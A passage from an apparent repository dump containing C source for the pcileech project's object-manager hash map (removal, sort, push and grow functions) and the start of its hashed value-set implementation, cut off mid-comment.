pfnFilterCB));\n}\n\n/*\n* Filter map objects into a POB_SET by using a user-supplied filter function.\n* CALLER DECREF: return\n* -- pm\n* -- ctx = optional context to pass on to the filter function.\n* -- pfnFilterSetCB\n* -- return = POB_SET consisting of values gathered by the pfnFilter function.\n*/\n_Success_(return != NULL)\nPOB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB)\n{\n    if(!pfnFilterSetCB) { return NULL; }\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, POB_SET, NULL, _ObMap_FilterSet(pm, ctx, pfnFilterSetCB));\n}\n\n/*\n* Common filter function related to ObMap_FilterSet.\n*/\nVOID ObMap_FilterSet_FilterAllKey(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v)\n{\n    ObSet_Push(ps, k);\n}\n\n\n\n//-----------------------------------------------------------------------------\n// REMOVAL FUNCTIONALITY BELOW:\n// ObMap_Pop, ObMap_Remove, ObMap_RemoveByKey, ObMap_RemoveByFilter\n//-----------------------------------------------------------------------------\n\n/*\n* CALLER DECREF: return\n*/\n_Success_(return != NULL)\nPVOID _ObMap_RetrieveAndRemoveByEntryIndex(_In_ POB_MAP pm, _In_ DWORD iEntry, _Out_opt_ PQWORD pKey)\n{\n    POB_MAP_ENTRY pRemoveEntry, pLastEntry;\n    QWORD qwRemoveKey, qwRemoveValue;\n    if(!(pRemoveEntry = _ObMap_GetFromIndex(pm, iEntry))) { return NULL; }\n    qwRemoveKey = pRemoveEntry->k;\n    qwRemoveValue = (QWORD)pRemoveEntry->v;\n    _ObMap_RemoveHash(pm, FALSE, qwRemoveKey, iEntry);\n    _ObMap_RemoveHash(pm, TRUE,  qwRemoveValue, iEntry);\n    if(iEntry < pm->c - 1) {\n        // not last item removed -> move last item into empty bucket\n        pLastEntry = _ObMap_GetFromIndex(pm, pm->c - 1);\n        _ObMap_RemoveHash(pm, FALSE, pLastEntry->k, pm->c - 1);\n        _ObMap_RemoveHash(pm, TRUE, (QWORD)pLastEntry->v, pm->c - 1);\n        pRemoveEntry->k = pLastEntry->k;\n        pRemoveEntry->v = pLastEntry->v;\n        _ObMap_InsertHash(pm, FALSE, iEntry);\n        _ObMap_InsertHash(pm, TRUE, iEntry);\n    }\n    pm->c--;\n    if(pKey) { *pKey = qwRemoveKey; }\n    return (PVOID)qwRemoveValue;\n}\n\nPVOID _ObMap_RemoveOrRemoveByKey(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ QWORD kv)\n{\n    DWORD iEntry;\n    if(fValueHash && !kv) { return NULL; }\n    if(!_ObMap_GetEntryIndexFromKeyOrValue(pm, fValueHash, kv, &iEntry)) { return NULL; }\n    return _ObMap_RetrieveAndRemoveByEntryIndex(pm, iEntry, NULL);\n}\n\nDWORD _ObMap_RemoveByFilter(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB)\n{\n    DWORD cRemove = 0;\n    DWORD iEntry;\n    PVOID pv;\n    POB_MAP_ENTRY pEntry;\n    for(iEntry = pm->c - 1; iEntry; iEntry--) {\n        pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)];\n        if(pfnFilterRemoveCB(ctx, pEntry->k, pEntry->v)) {\n            cRemove++;\n            pv = _ObMap_RetrieveAndRemoveByEntryIndex(pm, iEntry, NULL);\n            if(pm->fObjectsOb) { Ob_DECREF(pv); }\n            if(pm->fObjectsLocalFree) { LocalFree(pv); }\n        }\n    }\n    return cRemove;\n}\n\n/*\n* Remove the \"last\" object.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- return = success: object, fail: NULL.\n*/\n_Success_(return != NULL)\nPVOID ObMap_Pop(_In_opt_ POB_MAP pm)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, PVOID, NULL, _ObMap_RetrieveAndRemoveByEntryIndex(pm, pm->c - 1, NULL))\n}\n\n/*\n* Remove the \"last\" object and return it and its key.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- pKey\n* -- return = success: object, fail: NULL.\n*/\n_Success_(return != NULL)\nPVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_opt_ PQWORD pKey)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, PVOID, NULL, _ObMap_RetrieveAndRemoveByEntryIndex(pm, pm->c - 1, pKey))\n}\n\n/*\n* Remove an object from the ObMap.\n* NB! must not be called simultaneously while iterating with ObMap_GetByIndex/ObMap_GetNext.\n* -- pm\n* -- value\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObMap_Remove(_In_opt_ POB_MAP pm, _In_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, PVOID, NULL, _ObMap_RemoveOrRemoveByKey(pm, TRUE, (QWORD)pvObject))\n}\n\n/*\n* Remove an object from the ObMap by using its key.\n* NB! must not be called simultaneously while iterating with ObMap_GetByIndex/ObMap_GetNext.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObMap_RemoveByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, PVOID, NULL, _ObMap_RemoveOrRemoveByKey(pm, FALSE, qwKey))\n}\n\n/*\n* Remove map objects using a user-supplied filter function.\n* -- pm\n* -- ctx = optional context to pass on to the filter function.\n* -- pfnFilterRemoveCB = decision making function: [pfnFilter(ctx,k,v)->TRUE(remove)|FALSE(keep)]\n* -- return = number of entries removed.\n*/\nDWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB)\n{\n    if(!pfnFilterRemoveCB) { return 0; }\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, DWORD, 0, _ObMap_RemoveByFilter(pm, ctx, pfnFilterRemoveCB));\n}\n\n/*\n* Clear the ObMap by removing all objects and their keys.\n* NB! underlying allocated memory will remain unchanged.\n* -- pm\n* -- return = clear was successful - always true.\n*/\n_Success_(return)\nBOOL ObMap_Clear(_In_opt_ POB_MAP pm)\n{\n    if(!OB_MAP_IS_VALID(pm) || (pm->c <= 1)) { return TRUE; }\n    AcquireSRWLockExclusive(&pm->LockSRW);\n    if(pm->c <= 1) {\n        ReleaseSRWLockExclusive(&pm->LockSRW);\n        return TRUE;\n    }\n    _ObMap_ObFreeAllObjects(pm);\n    ZeroMemory(pm->pHashMapValue, 4ULL * pm->cHashMax);\n    if(pm->pHashMapKey) { ZeroMemory(pm->pHashMapKey, 4ULL * pm->cHashMax); }\n    pm->c = 1;  // item zero is reserved - hence the initialization of count to 1\n    ReleaseSRWLockExclusive(&pm->LockSRW);\n    return TRUE;\n}\n\n\n\n//-----------------------------------------------------------------------------\n// SORT FUNCTIONALITY BELOW:\n// ObMap_SortEntryIndex\n//-----------------------------------------------------------------------------\n\n_Success_(return)\nBOOL _ObMap_SortEntryIndex(_In_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort)\n{\n    DWORD iEntry;\n    POB_MAP_ENTRY pSort;\n    if(!(pSort = LocalAlloc(0, pm->c * sizeof(OB_MAP_ENTRY)))) { return FALSE; }\n    // sort map\n    for(iEntry = 1; iEntry < pm->c; iEntry++) {\n        memcpy(pSort + iEntry, &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)], sizeof(OB_MAP_ENTRY));\n    }\n    qsort(pSort + 1, pm->c - 1, sizeof(OB_MAP_ENTRY), (_CoreCrtNonSecureSearchSortCompareFunction)pfnSort);\n    for(iEntry = 1; iEntry < pm->c; iEntry++) {\n        memcpy(&pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)], pSort + iEntry, sizeof(OB_MAP_ENTRY));\n    }\n    LocalFree(pSort);\n    // update hash maps\n    if(pm->fKey) {\n        ZeroMemory(pm->pHashMapKey, pm->cHashMax * sizeof(DWORD));\n        for(iEntry = 1; iEntry < pm->c; iEntry++) {\n            _ObMap_InsertHash(pm, FALSE, iEntry);\n        }\n    }\n    ZeroMemory(pm->pHashMapValue, pm->cHashMax * sizeof(DWORD));\n    for(iEntry = 1; iEntry < pm->c; iEntry++) {\n        _ObMap_InsertHash(pm, TRUE, iEntry);\n        \n    }\n    return TRUE;\n}\n\nint _ObMap_SortEntryIndexByKey_CmpSort(_In_ POB_MAP_ENTRY e1, _In_ POB_MAP_ENTRY e2)\n{\n    return\n        (e1->k < e2->k) ? -1 :\n        (e1->k > e2->k) ? 1 : 0;\n}\n\n/*\n* Sort the ObMap entry index by a sort compare function.\n* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects\n*     which points to the underlying map object key/value.\n* -- pm\n* -- pfnSort = sort function callback. const void* == const OB_MAP_ENTRY*\n* -- return\n*/\n_Success_(return)\nBOOL ObMap_SortEntryIndex(_In_opt_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, BOOL, FALSE, _ObMap_SortEntryIndex(pm, pfnSort))\n}\n\n/*\n* Sort the ObMap entry index by key ascending.\n* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects\n*     which points to the underlying map object key/value.\n* -- pm\n* -- return\n*/\n_Success_(return)\nBOOL ObMap_SortEntryIndexByKey(_In_opt_ POB_MAP pm)\n{\n    return ObMap_SortEntryIndex(pm, _ObMap_SortEntryIndexByKey_CmpSort);\n}\n\n//-----------------------------------------------------------------------------\n// CREATE / INSERT FUNCTIONALITY BELOW:\n// ObMap_New, ObMap_Push, ObMap_PushCopy, ObMap_New\n//-----------------------------------------------------------------------------\n\n/*\n* Grow the Tables for hash lookups by a factor of *2.\n* -- pvs\n* -- pm\n*/\n_Success_(return)\nBOOL _ObMap_Grow(_In_ POB_MAP pm)\n{\n    DWORD iEntry;\n    PDWORD pdwNewAllocHashMap;\n    if(!(pdwNewAllocHashMap = LocalAlloc(LMEM_ZEROINIT, 2 * sizeof(DWORD) * pm->cHashMax * (pm->fKey ? 2 : 1)))) { return FALSE; }\n    if(!pm->fLargeMode) {\n        if(!(pm->Directory[0] = LocalAlloc(LMEM_ZEROINIT, sizeof(POB_MAP_ENTRY) * OB_MAP_ENTRIES_TABLE))) { return FALSE; }\n        pm->Directory[0][0] = pm->Store00;\n        ZeroMemory(pm->_SmallHashMap, sizeof(pm->_SmallHashMap));\n        pm->pHashMapKey = NULL;\n        pm->pHashMapValue = NULL;\n        pm->fLargeMode = TRUE;\n    }\n    pm->cHashMax *= 2;\n    pm->cHashGrowThreshold *= 2;\n    LocalFree(pm->pHashMapValue);\n    pm->pHashMapValue = pdwNewAllocHashMap;\n    if(pm->fKey) {\n        pm->pHashMapKey = pm->pHashMapValue + pm->cHashMax;\n    }\n    for(iEntry = 1; iEntry < pm->c; iEntry++) {\n        _ObMap_InsertHash(pm, TRUE, iEntry);\n        _ObMap_InsertHash(pm, FALSE, iEntry);\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL _ObMap_Push(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject)\n{\n    POB_MAP_ENTRY pe;\n    DWORD iEntry = pm->c;\n    if(!pvObject || _ObMap_Exists(pm, TRUE, (QWORD)pvObject) || _ObMap_Exists(pm, FALSE, qwKey)) { return FALSE; }\n    if(iEntry == OB_MAP_TABLE_MAX_CAPACITY) { return FALSE; }\n    if(iEntry == pm->cHashGrowThreshold) {\n        if(!_ObMap_Grow(pm)) {\n            return FALSE;\n        }\n    }\n    if(!pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)]) {    // allocate \"table\" if required\n        if(!(pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)] = LocalAlloc(LMEM_ZEROINIT, sizeof(POB_MAP_ENTRY) * OB_MAP_ENTRIES_TABLE))) { return FALSE; }\n    }\n    if(!pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)]) {    // allocate \"store\" if required\n        if(!(pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)] = LocalAlloc(LMEM_ZEROINIT, sizeof(OB_MAP_ENTRY) * OB_MAP_ENTRIES_STORE))) { return FALSE; }\n    }\n    pm->c++;\n    if((pe = _ObMap_GetFromIndex(pm, iEntry))) {\n        if(pm->fObjectsOb) {\n            Ob_INCREF(pvObject);\n        }\n        pe->k = qwKey;\n        pe->v = pvObject;\n        _ObMap_InsertHash(pm, TRUE, iEntry);\n        _ObMap_InsertHash(pm, FALSE, iEntry);\n        return TRUE;\n    } else {\n        pm->c--;\n        return FALSE;\n    }\n}\n\n_Success_(return)\nBOOL _ObMap_PushCopy(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject, _In_ SIZE_T cbObject)\n{\n    PVOID pvObjectCopy;\n    if(!pm->fObjectsLocalFree) { return FALSE; }\n    if(!(pvObjectCopy = LocalAlloc(0, cbObject))) { return FALSE; }\n    memcpy(pvObjectCopy, pvObject, cbObject);\n    if(_ObMap_Push(pm, qwKey, pvObjectCopy)) { return TRUE; }\n    LocalFree(pvObjectCopy);\n    return FALSE;\n}\n\n_Success_(return)\nBOOL _ObMap_PushAll(_In_ POB_MAP pm, _In_ POB_MAP pmSrc)\n{\n    DWORD i;\n    POB_MAP_ENTRY pe;\n    if(!pmSrc || (pm == pmSrc) || (pm->fObjectsOb != pmSrc->fObjectsOb) || pm->fObjectsLocalFree || pmSrc->fObjectsLocalFree) { return FALSE; }\n    AcquireSRWLockShared(&pmSrc->LockSRW);\n    for(i = 1; i < pmSrc->c; i++) {\n        pe = _ObMap_GetFromIndex(pmSrc, i);\n        _ObMap_Push(pm, pe->k, pe->v);\n    }\n    ReleaseSRWLockShared(&pmSrc->LockSRW);\n    return TRUE;\n}\n\n/*\n* Push / Insert into the ObMap.\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if the key or object\n*             already exists or if the max capacity of the map is reached.\n*/\n_Success_(return)\nBOOL ObMap_Push(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, BOOL, FALSE, _ObMap_Push(pm, qwKey, pvObject))\n}\n\n/*\n* Push / Insert into the ObMap by making a shallow copy of the object.\n* NB! only valid for OB_MAP_FLAGS_OBJECT_LOCALFREE initialized maps.\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- cbObject\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if the key or object\n*             already exists or if the max capacity of the map is reached.\n*/\n_Success_(return)\nBOOL ObMap_PushCopy(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject, _In_ SIZE_T cbObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, BOOL, FALSE, _ObMap_PushCopy(pm, qwKey, pvObject, cbObject))\n}\n\n/*\n* Push / Insert all objects in pmSrc to pmDst using the same key and value.\n* NB! only valid for OB_MAP_FLAGS_OBJECT_OB and OB_MAP_FLAGS_OBJECT_VOID maps.\n* -- pmDst\n* -- pmSrc\n* -- return = TRUE on success, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObMap_PushAll(_In_opt_ POB_MAP pmDst, _In_ POB_MAP pmSrc)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pmDst, BOOL, FALSE, _ObMap_PushAll(pmDst, pmSrc))\n}\n\n/*\n* Create a new map. A map (ObMap) provides atomic map operations and ways\n* to optionally map key values to values, pointers or object manager objects.\n* The ObMap is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- flags = defined by OB_MAP_FLAGS_*\n* -- return\n*/\nPOB_MAP ObMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags)\n{\n    POB_MAP pObMap;\n    if((flags & OB_MAP_FLAGS_OBJECT_OB) && (flags & OB_MAP_FLAGS_OBJECT_LOCALFREE)) { return NULL; }\n    pObMap = Ob_AllocEx(H, OB_TAG_CORE_MAP, LMEM_ZEROINIT, sizeof(OB_MAP), (OB_CLEANUP_CB)_ObMap_ObCloseCallback, NULL);\n    if(!pObMap) { return NULL; }\n    InitializeSRWLock(&pObMap->LockSRW);\n    pObMap->c = 1;      // item zero is reserved - hence the initialization of count to 1\n    pObMap->fKey = (flags & OB_MAP_FLAGS_NOKEY) ? FALSE : TRUE;\n    pObMap->fObjectsOb = (flags & OB_MAP_FLAGS_OBJECT_OB) ? TRUE : FALSE;\n    pObMap->fObjectsLocalFree = (flags & OB_MAP_FLAGS_OBJECT_LOCALFREE) ? TRUE : FALSE;\n    pObMap->_SmallTable[0] = pObMap->Store00;\n    pObMap->Directory[0] = pObMap->_SmallTable;\n    pObMap->pHashMapValue = pObMap->_SmallHashMap;\n    pObMap->cHashMax = 0x100;\n    pObMap->cHashGrowThreshold = 0xc0;\n    pObMap->pHashMapKey = pObMap->pHashMapValue + pObMap->cHashMax;\n    return pObMap;\n}\n"
  },
  {
    "path": "pcileech/ob/ob_set.c",
    "content": "// ob_set.c : implementation of object manager hashed value set functionality.\n//\n// The hashed value set (ObSet) provides thread safe efficient access to a set\n// which is containing _NON_ZERO_ values (64-bit unsigned integers). The ObSet\n// may hold a maximum capacity of 0x01000000 (~16M) entries - which are UNIQUE\n// and _NON_ZERO_.\n// The hashed value set (ObSet) guarantees order amongst values unless the\n// function ObSet_Remove is called - in which order may change and on-going\n// iterations of the set with ObSet_Get/ObSet_GetNext may fail.\n// The ObSet is an object manager object and must be DECREF'ed when required.\n//\n// (c) Ulf Frisk, 2019-2025\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"ob.h\"\n#include <stdio.h>\n\n#define OB_SET_ENTRIES_DIRECTORY        0x100\n#define OB_SET_ENTRIES_TABLE            0x80\n#define OB_SET_ENTRIES_STORE            0x200\n#define OB_SET_IS_VALID(p)              (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_SET))\n#define OB_SET_TABLE_MAX_CAPACITY       OB_SET_ENTRIES_DIRECTORY * OB_SET_ENTRIES_TABLE * OB_SET_ENTRIES_STORE\n#define OB_SET_HASH_FUNCTION(v)         (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31)))\n\n#define OB_SET_INDEX_DIRECTORY(i)       ((i >> 16) & (OB_SET_ENTRIES_DIRECTORY - 1))\n#define OB_SET_INDEX_TABLE(i)           ((i >> 9) & (OB_SET_ENTRIES_TABLE - 1))\n#define OB_SET_INDEX_STORE(i)           (i & (OB_SET_ENTRIES_STORE - 1))\n\ntypedef struct tdOB_SET_TABLE_ENTRY {\n    union {\n        PQWORD pValues;                 // ptr to QWORD[OB_SET_ENTRIES_STORE]\n        QWORD _Filler;\n    };\n} OB_SET_TABLE_ENTRY, *POB_SET_TABLE_ENTRY;\n\ntypedef struct tdOB_SET_TABLE_DIRECTORY_ENTRY {\n    union {\n        POB_SET_TABLE_ENTRY pTable;     // ptr to OB_SET_TABLE_ENTRY[OB_SET_ENTRIES_TABLE]\n        QWORD _Filler;\n    };\n} OB_SET_TABLE_DIRECTORY_ENTRY, *POB_SET_TABLE_DIRECTORY_ENTRY;\n\ntypedef struct tdOB_SET {\n    OB ObHdr;\n    SRWLOCK LockSRW;\n    DWORD c;\n    DWORD cHashMax;\n    DWORD cHashGrowThreshold;\n    BOOL fLargeMode;\n    PDWORD pHashMapLarge;\n    union {\n        WORD pHashMapSmall[0x400];\n        OB_SET_TABLE_DIRECTORY_ENTRY pDirectory[OB_SET_ENTRIES_DIRECTORY];\n    };\n    OB_SET_TABLE_ENTRY pTable0[OB_SET_ENTRIES_TABLE];\n    QWORD pStore00[OB_SET_ENTRIES_STORE];\n} OB_SET, *POB_SET;\n\n#define OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, RetTp, RetValFail, fn) {     \\\n    if(!OB_SET_IS_VALID(pvs)) { return RetValFail; }                                    \\\n    RetTp retVal;                                                                       \\\n    AcquireSRWLockExclusive(&pvs->LockSRW);                                             \\\n    retVal = fn;                                                                        \\\n    ReleaseSRWLockExclusive(&pvs->LockSRW);                                             \\\n    return retVal;                                                                      \\\n}\n\n#define OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, RetTp, RetValFail, fn) {      \\\n    if(!OB_SET_IS_VALID(pvs)) { return RetValFail; }                                    \\\n    RetTp retVal;                                                                       \\\n    AcquireSRWLockShared(&pvs->LockSRW);                                                \\\n    retVal = fn;                                                                        \\\n    ReleaseSRWLockShared(&pvs->LockSRW);                                                \\\n    return retVal;                                                                      \\\n}\n\n/*\n* Object Container object manager cleanup function to be called when reference\n* count reaches zero.\n* -- pObSet\n*/\nVOID _ObSet_ObCloseCallback(_In_ POB_SET pObSet)\n{\n    DWORD iDirectory, iTable;\n    if(pObSet->fLargeMode) {\n        for(iDirectory = 0; iDirectory < OB_SET_ENTRIES_DIRECTORY; iDirectory++) {\n            if(!pObSet->pDirectory[iDirectory].pTable) { break; }\n            for(iTable = 0; iTable < OB_SET_ENTRIES_TABLE; iTable++) {\n                if(!pObSet->pDirectory[iDirectory].pTable[iTable].pValues) { break; }\n                if(iDirectory || iTable) {\n                    LocalFree(pObSet->pDirectory[iDirectory].pTable[iTable].pValues);\n                }\n            }\n            if(iDirectory) {\n                LocalFree(pObSet->pDirectory[iDirectory].pTable);\n            }\n        }\n        LocalFree(pObSet->pHashMapLarge);\n    } else {\n        for(iTable = 1; iTable < OB_SET_ENTRIES_TABLE; iTable++) {\n            if(!pObSet->pTable0[iTable].pValues) { break; }\n            LocalFree(pObSet->pTable0[iTable].pValues);\n        }\n    }\n}\n\n/*\n* Create a new hashed value set. A hashed value set (ObSet) provides atomic\n* ways to store unique 64-bit (or smaller) numbers as a set.\n* The ObSet is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- hHeap\n* -- return\n*/\nPOB_SET ObSet_New(_In_opt_ VMM_HANDLE H)\n{\n    POB_SET pObSet = Ob_AllocEx(H, OB_TAG_CORE_SET, LMEM_ZEROINIT, sizeof(OB_SET), (OB_CLEANUP_CB)_ObSet_ObCloseCallback, NULL);\n    if(!pObSet) { return NULL; }\n    InitializeSRWLock(&pObSet->LockSRW);\n    pObSet->c = 1;     // item zero is reserved - hence the initialization of count to 1\n    pObSet->cHashMax = 0x400;\n    pObSet->cHashGrowThreshold = 0x300;\n    pObSet->pTable0[0].pValues = pObSet->pStore00;\n    return pObSet;\n}\n\nQWORD _ObSet_GetValueFromIndex(_In_ POB_SET pvs, _In_ DWORD iValue)\n{\n    WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue);\n    WORD iTable = OB_SET_INDEX_TABLE(iValue);\n    WORD iValueStore = OB_SET_INDEX_STORE(iValue);\n    if(!iValue || (iValue >= pvs->c)) { return 0; }\n    return pvs->fLargeMode ?\n        pvs->pDirectory[OB_SET_INDEX_DIRECTORY(iValue)].pTable[iTable].pValues[iValueStore] :\n        pvs->pTable0[iTable].pValues[iValueStore];\n}\n\nVOID _ObSet_SetValueFromIndex(_In_ POB_SET pvs, _In_ DWORD iValue, _In_ QWORD qwValue)\n{\n    WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue);\n    WORD iTable = OB_SET_INDEX_TABLE(iValue);\n    WORD iValueStore = OB_SET_INDEX_STORE(iValue);\n    if(pvs->fLargeMode) {\n        pvs->pDirectory[iDirectory].pTable[iTable].pValues[iValueStore] = qwValue;\n    } else {\n        pvs->pTable0[iTable].pValues[iValueStore] = qwValue;\n    }\n}\n\nDWORD _ObSet_GetIndexFromHash(_In_ POB_SET pvs, _In_ DWORD iHash)\n{\n    return pvs->fLargeMode ? pvs->pHashMapLarge[iHash] : pvs->pHashMapSmall[iHash];\n}\n\nVOID _ObSet_SetHashIndex(_In_ POB_SET pvs, _In_ DWORD iHash, _In_ DWORD iValue)\n{\n    if(pvs->fLargeMode) {\n        pvs->pHashMapLarge[iHash] = iValue;\n    } else {\n        pvs->pHashMapSmall[iHash] = (WORD)iValue;\n    }\n}\n\nVOID _ObSet_InsertHash(_In_ POB_SET pvs, _In_ DWORD iValue)\n{\n    DWORD iHash;\n    DWORD dwHashMask = pvs->cHashMax - 1;\n    QWORD qwValueToHash = _ObSet_GetValueFromIndex(pvs, iValue);\n    if(!qwValueToHash) { return; }\n    iHash = OB_SET_HASH_FUNCTION(qwValueToHash) & dwHashMask;\n    while(_ObSet_GetIndexFromHash(pvs, iHash)) {\n        iHash = (iHash + 1) & dwHashMask;\n    }\n    _ObSet_SetHashIndex(pvs, iHash, iValue);\n}\n\nVOID _ObSet_RemoveHash(_In_ POB_SET pvs, _In_ DWORD iHash)\n{\n    DWORD dwHashMask = pvs->cHashMax - 1;\n    DWORD iNextHash, iNextEntry, iNextHashPreferred;\n    // clear existing hash entry\n    _ObSet_SetHashIndex(pvs, iHash, 0);\n    // re-hash any entries following\n    iNextHash = iHash;\n    while(TRUE) {\n        iNextHash = (iNextHash + 1) & dwHashMask;\n        iNextEntry = _ObSet_GetIndexFromHash(pvs, iNextHash);\n        if(0 == iNextEntry) { return; }\n        iNextHashPreferred = OB_SET_HASH_FUNCTION(_ObSet_GetValueFromIndex(pvs, iNextEntry)) & dwHashMask;\n        if(iNextHash == iNextHashPreferred) { continue; }\n        if(pvs->fLargeMode) {\n            pvs->pHashMapLarge[iNextHash] = 0;\n        } else {\n            pvs->pHashMapSmall[iNextHash] = 0;\n        }\n        _ObSet_InsertHash(pvs, iNextEntry);\n    }\n}\n\n_Success_(return)\nBOOL _ObSet_GetIndexFromValue(_In_ POB_SET pvs, _In_ QWORD v, _Out_opt_ PDWORD pdwIndexValue, _Out_opt_ PDWORD pdwIndexHash)\n{\n    DWORD dwIndex;\n    DWORD dwHashMask = pvs->cHashMax - 1;\n    DWORD dwHash = OB_SET_HASH_FUNCTION(v) & dwHashMask;\n    // scan hash table to find entry\n    while(TRUE) {\n        dwIndex = _ObSet_GetIndexFromHash(pvs, dwHash);\n        if(0 == dwIndex) { return FALSE; }\n        if(v == _ObSet_GetValueFromIndex(pvs, dwIndex)) { \n            if(pdwIndexValue) { *pdwIndexValue = dwIndex; }\n            if(pdwIndexHash) { *pdwIndexHash = dwHash; }\n            return TRUE;\n        }\n        dwHash = (dwHash + 1) & dwHashMask;\n    }\n}\n\nBOOL _ObSet_Exists(_In_ POB_SET pvs, _In_ QWORD value)\n{\n    return _ObSet_GetIndexFromValue(pvs, value, NULL, NULL);\n}\n\n/*\n* Check if a value already exists in the ObSet.\n* -- pvs\n* -- value\n* -- return\n*/\nBOOL ObSet_Exists(_In_opt_ POB_SET pvs, _In_ QWORD value)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, BOOL, FALSE, _ObSet_Exists(pvs, value))\n}\n\n/*\n* Retrieve a value given a value index (which is less than the amount of items\n* in the Set).\n* NB! Correctness of the Get/GetNext functionality is _NOT- guaranteed if the\n* ObSet_Remove function is called while iterating over the ObSet - items may\n* be skipped or iterated over multiple times!\n* -- pvs\n* -- index\n* -- return\n*/\nQWORD ObSet_Get(_In_opt_ POB_SET pvs, _In_ DWORD index)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, QWORD, 0, _ObSet_GetValueFromIndex(pvs, index + 1))  // (+1 == account/adjust for index 0 (reserved))\n}\n\nQWORD _ObSet_GetNext(_In_ POB_SET pvs, _In_ QWORD value)\n{\n    DWORD iValue;\n    if(value == 0) {\n        return _ObSet_GetValueFromIndex(pvs, 1);   // (+1 == account/adjust for index 0 (reserved))\n    }\n    if(!_ObSet_GetIndexFromValue(pvs, value, &iValue, NULL)) { return 0; }\n    return _ObSet_GetValueFromIndex(pvs, iValue + 1);\n}\n\nQWORD _ObSet_GetNextByIndex(_In_ POB_SET pvs, _Inout_ PDWORD pdwIndex)\n{\n    if(*pdwIndex == 0) {\n        *pdwIndex = pvs->c - 1;\n    } else {\n        *pdwIndex = *pdwIndex - 1;\n    }\n    return _ObSet_GetValueFromIndex(pvs, *pdwIndex);\n}\n\n/*\n* Retrieve the next value given a value. The start value and end value are the\n* ZERO value (which is a special reserved non-valid value).\n* NB! Correctness of the Get/GetNext functionality is _NOT_ guaranteed if the\n* ObSet_Remove function is called while iterating over the ObSet - items may\n* be skipped or iterated over multiple times!\n* -- pvs\n* -- value\n* -- return\n*/\nQWORD ObSet_GetNext(_In_opt_ POB_SET pvs, _In_ QWORD value)\n{\n    OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pvs, QWORD, 0, _ObSet_GetNext(pvs, value))\n}\n\n/*\n* Retrieve the given an index. To start iterating, use index 0. When no more\n* items are available, the function will return 0.\n* Add/Remove rules:\n*  - Added values are ok - but will 